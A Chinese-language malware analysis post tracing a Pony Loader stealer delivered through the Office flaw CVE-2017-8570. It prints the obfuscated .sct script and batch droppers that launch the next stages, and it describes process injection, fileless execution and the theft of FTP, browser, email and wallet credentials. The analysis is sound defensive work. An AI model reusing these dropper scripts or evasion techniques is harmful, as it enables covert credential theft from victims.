前言
自從Pony Loader源碼在論壇出售,便大規模用于竊取用戶隱私數據。釣魚攻擊為最常用的手法,核心代碼不斷改變、投遞方式也因攻擊者不同而變化。這里我們分析一個通過漏洞CVE-2017-8570運行并使核心竊密惡意代碼無文件落地執行的較新型樣本。
一、 投遞部分
CVE-2017-8570漏洞為Microsoft Office的一個遠程代碼執行漏洞。因為Microsoft PowerPoint執行時會初始化Script”Moniker對象,并在PowerPoint播放動畫期間會激活該對象,導致執行sct腳本(Windows Script Component)文件。攻擊者可以通過欺騙用戶運行含有CVE-2017-8570漏洞的PPT文件分發惡意程序。
使用rtfobj.py拆解取出文檔中的對象(圖中的后綴名為已修改內容),可以看到文檔包含sct腳本文件和許多可執行文件,猜測邏輯上是接力執行關系。
根據該漏洞的描述,最先執行的是sct腳本文件;如果文檔包涵多個sct文件時,可通過分析sct文件或查看bin對象確認啟動順序和路徑;該bin文件二進制內容顯示,首先執行的是臨時文件下的a.sct樣本(不區分大小寫)。
1.樣本a.sct的主要內容是運行樣本ufFm.cmd,具體內容如下:
<script>
<![CDATA[
function tbpofmq(hello)
{
_ActiveXObj = this['Act'+'iveXO'+'bject'];
var nnqybb='ell';
var unzhb='t.';
var yybfex='rip';
var unzznjf='WSc';
var yubz='Sh';
var shdkqn = new _ActiveXObj(unzznjf + yybfex + unzhb + yubz + nnqybb);
shdkqn["Run"](hello, 0, 1);
}
var opznjaf='"';
var unzk18="MD" + opznjaf;
var mqiojnj3="C";
var rtqnooznn5 ="m";
var oonnzzh4="<";
var nqyznfhw0=mqiojnj3+"mD ";
var iqmzghsl= nqyznfhw0 + "/" + mqiojnj3 + " " + nqyznfhw0 + oonnzzh4 + " " + opznjaf + "%Te" + rtqnooznn5 + "P%\ufFm.c" + unzk18;
tbpofmq(iqmzghsl);]]>
</script>
2.樣本ufFm.cmd的主要功能是啟動itnqknf5.CMD:
ECHO OFF
set uninmqofhjs="%uSeRpRofilE%"
set ntzyqjpa="appDataloCalTeMpblOCk.tXt"
IF EXIST %uninmqofhjs%%ntzyqjpa% (exit) ELSE (copy NUL %uninmqofhjs%%ntzyqjpa% & cd %temp% & START /b itnqknf5.CMD)
3.樣本itnqknf5.CMD的主要功能為:通過修改注冊表改變word的安全設置選項;啟動與之前名稱相同的文檔迷惑受害者;解壓1.zip壓縮包并啟動壓縮包中的saver.scr程序;最后刪除之前的樣本文件。具體代碼如下:
執行到這里,這一階段的樣本執行已經結束。通過以上內容成功執行了最后一層樣本并開啟了迷惑受害者選項。接下來分析的是最后啟動的惡意安裝程序。
通過分析發現這是一個使用NSIS制作的安裝程序,即代碼的核心功能由NSIS制作運行,能夠起到了一定的免殺和混淆作用。所有使用該種方式運行的惡意代碼其最開始的運行邏輯是相同的,類似于一個“殼”。
我們將該文件解壓發現共有兩個文件夾,一個為NSIS運行時依賴的組件(白文件):
另一個為惡意DLL和一個加密文件:
從上圖中得知主要運行的惡意代碼存放在matchbooks.dll和Spelaeology中,但是要從NSIS程序開始調試,從而查找惡意代碼是如何啟動的。
調試得到核心代碼地址位于00403c05:
首先調用是放在臨時文件下的system.dll(白文件):
從system.dll中調用matchbooks.dll的kramnik導出函數:
Kramnik函數接下來調用load4導出函數,用來執行進程注入行為將惡意代碼注入到新建的進程中躲避殺軟的檢測:
加載臨時文件夾下的Spelaeology進行解密操作:
創建同名進程saver.scr:
將解密后的可執行文件寫入申請的內存空間:
啟動注入進程:
執行到此已經將惡意代碼成功的無文件落地執行,接下來的內容將在內存中運行使得殺軟難以檢測。
二、竊密部分
接下來執行的惡意代碼為Pony Loader,是俄羅斯開發的竊密木馬(參考資料https://github.com/m0n0ph1/malware-1/tree/master/Pony)。
首先通過讀取注冊表獲得受害機的基本信息,用戶名、應用程序列表等:
然后出現了一個有意思的字符串,攻擊者使用“Mesoamerica”(解密字符串“Oguqcogtkec”得到)作為控制延遲的參數:
之后在內存中解密出密碼字典用于之后的用戶登錄,將所有的字符進行“減1”操作得到字典:
解密得到的結果如下:
接下來竊取FTP登陸憑證、瀏覽器登陸信息、郵件登陸信息、虛擬貨幣錢包等:
1.竊取FTP軟件等登陸憑證,包括以下軟件:
FTP Disk
2.竊取火狐、opera、谷歌等瀏覽器中的登陸憑證
3.竊取郵件信息
4.竊取多種虛擬貨幣
將竊取的登陸憑證回傳到C2:
使用之前解密出的硬編碼字典測試受害機用戶密碼:
最后創建bat文件進行刪除操作,擦除痕跡:
三、總結
由于惡意代碼重復利用簡單、成本低廉,導致竊密等攻擊成本降低,從而使得網絡攻擊行為更加密集、手段更加成熟。縱觀該樣本的攻擊方式:整個過程一氣呵成,偷完就跑;在每一個階段都會更改或讀取用戶設置并在執行完惡意代碼后刪除相應樣本防止被檢測發現。除此之外,還將最終惡意代碼隱藏在內存中運行躲避檢測。
在此提醒大家:養成良好的計算機使用習慣,防止躲避手段高明的惡意代碼在個人PC執行給大家造成隱私、財產損失等。